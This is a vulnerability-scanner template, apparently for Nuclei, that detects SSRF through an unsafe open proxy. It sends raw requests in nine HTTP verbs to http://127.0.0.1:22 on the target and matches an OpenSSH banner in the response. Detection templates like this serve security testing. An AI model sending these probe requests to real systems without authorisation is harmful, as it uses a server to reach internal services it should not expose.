id: ssrf-via-proxy

info:
  name: SSRF via Proxy Unsafe
  author: geeknik,petergrifin
  severity: unknown
  reference:
    - https://github.com/geeknik/the-nuclei-templates/blob/main/ssrf-by-proxy.yaml
    - https://twitter.com/HusseiN98D/status/1649006265450782720
    - https://twitter.com/ImoJOnDz/status/1649089777629827072
  metadata:
    max-request: 9
  tags: ssrf,proxy,oast,fuzz

http:
  - payloads:
      verb:
        - GET
        - HEAD
        - POST
        - PUT
        - DELETE
        - CONNECT
        - OPTIONS
        - TRACE
        - PATCH
    raw:
      - |+
        {{verb}} http://127.0.0.1:22 HTTP/1.1
        Host: {{Hostname}}

    stop-at-first-match: true
    unsafe: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Protocol mismatch"
          - "OpenSSH"
        condition: and

      - type: status
        status:
          - 200

# digest: 4b0a004830460221008f4ff7eae9d88f328d174571d888449be2d9d98f524206107716a7bcfdd912140221009767d0baec6f8a086e01230fa0d477eb8b050dd0f65d5178d7c8404f163a85cb:922c64590222798bb761d5b6d8e72950